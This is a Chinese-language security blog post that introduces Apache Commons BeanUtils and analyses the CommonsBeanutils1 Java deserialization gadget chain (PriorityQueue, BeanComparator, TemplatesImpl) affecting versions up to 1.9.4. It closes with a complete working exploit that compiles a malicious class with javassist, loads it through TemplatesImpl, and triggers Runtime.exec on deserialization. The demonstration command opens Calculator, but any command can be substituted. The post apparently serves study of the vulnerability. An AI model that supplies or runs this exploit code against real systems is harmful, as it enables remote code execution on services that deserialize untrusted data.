简介
Apache Commons BeanUtils 是一个开源的 Java 库,提供了对 Java Bean 操作的工具类和方法。它可以简化 Java Bean 的属性复制、反射调用和动态操作等任务,使得开发人员可以更加方便地处理 Java Bean
下面是一些 Commons BeanUtils 提供的主要功能和特性:
- 属性复制:BeanUtils 提供了
copyProperties
方法,用于将源对象的属性值复制到目标对象中,无需手动编写属性的逐个复制代码。 - 动态操作:BeanUtils 提供了一些方法,可以通过反射动态设置和获取 Java Bean 的属性值,避免了直接使用反射 API 的繁琐操作。
- 数据转换:BeanUtils 提供了
convert
方法,用于在不同类型之间进行属性值的转换,例如将字符串转换为日期对象,或者将字符串转换为枚举类型。 - 嵌套属性访问:BeanUtils 支持处理嵌套属性,可以通过使用点号
.
来访问嵌套的属性,例如user.address.street
。 - 列表和映射操作:BeanUtils 提供了对列表和映射的操作方法,可以方便地处理集合类型的属性。
- 注册转换器:BeanUtils 允许开发人员注册自定义的类型转换器,以便在属性复制和数据转换过程中使用。
- 支持多种数据源:BeanUtils 不仅可以操作普通的 Java Bean,还可以操作其他数据源,如
ResultSet
、Map
、XML
等。
Apache Commons BeanUtils 提供了一套强大而灵活的工具,使得在 Java 开发中处理 Java Bean 变得更加简单和高效。无论是属性复制、反射调用还是动态操作,BeanUtils 都可以成为开发人员的便捷助手
利用条件
Commons-Beanutils <= 1.9.4
JDK8版本
利用链
Gadget chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
PropertyUtils.getProperty(TemplatesImpl, outputProperties)
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
利用链分析
CommonsBeanutils183利用链大致思路和CC2利用链差不多,只不过后续使用的比较器不同而已
PriorityQueue
由于这条链使用了另一个比较器 BeanComparator
类,所以在实例化 PriorityQueue
类对象时,需要讲 BeanComparator
类对象作为 PriorityQueue
类的构造方法参数
接下来就是一连串的调用了,CC2和CC4都有使用 PriorityQueue
类,这里就不再详细叙述了
BeanComparator
在 BeanComparator
类的 compare()
方法中调用了 PropertyUtils
类的 getProperty()
方法
PropertyUtils
在这个类中,获取了 PropertyUtilsBean
的实例并调用 getProperty()
方法
PropertyUtilsBean
接下来就是一连串的调用了,那么我们如何加载恶意字节码呢?之前学CC链的时候我们知道,在 TemplatesImpl
类的 newTransformer()
方法中可以加载字节码并执行,那么在 BeanComparator
类中的 property
属性值就必须是 outputProperties
,后续通过反射来修改这个属性值
TemplatesImpl
到了这里,在 TemplatesImpl
类的 getOutputProperties()
方法中调用了 newTransformer()
方法后就成功加载了恶意字节码执行恶意代码了
根据上面的分析,我们写出利用链EXP的中间部分
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(beanComparator);
queue.add(1);
queue.add(1);
Class priorityQueueClass = queue.getClass();
Field queueField = priorityQueueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{templates, templates});
Class beanComparatorClass = beanComparator.getClass();
Field propertyField = beanComparatorClass.getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(beanComparator,"outputProperties");
这里讲 queue
和 property
两个属性通过反射获取来修改属性值是因为避免在序列化时调用了 PriorityQueue
类的 add()
方法后就执行了恶意代码
反序列化链EXP
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils183 {
public static void main(String[] args) throws Exception{
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ctClass = classPool.makeClass("EvilCode");
ctClass.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");
ctClass.setName("EvilCode" + System.nanoTime());
ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] bytecode = ctClass.toBytecode();
byte[][] bytecodes = new byte[][]{bytecode};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Class templateImplClass = templates.getClass();
Field nameField = templateImplClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"x");
Field bytecodesField = templateImplClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,bytecodes);
Field tfactoryField = templateImplClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);
Class priorityQueueClass = queue.getClass();
Field queueField = priorityQueueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{templates, templates});
Class beanComparatorClass = beanComparator.getClass();
Field propertyField = beanComparatorClass.getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(beanComparator,"outputProperties");
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
Author: wileysec
Permalink: https://wileysec.github.io/45315f66374a.html
Comments